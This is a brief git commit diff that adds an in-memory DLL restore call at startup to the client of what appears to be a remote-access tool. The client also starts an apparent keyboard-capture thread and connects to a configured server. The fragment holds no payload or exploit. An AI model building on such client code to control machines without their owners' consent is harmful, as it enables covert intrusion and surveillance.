Fix: Restore memory DLL at client program startup

This commit is contained in:
yuanyuanxiang
2026-06-19 21:10:48 +02:00
parent 71963b740b
commit c1433b4b5d
3 changed files with 12 additions and 14 deletions

View File

@@ -591,6 +591,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
app.SetThreadRun(TRUE);
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP, isAuthKernel);
static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit);
while (app.m_bIsRunning(&app)) {
ULONGLONG dwTickCount = GetTickCount64();
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {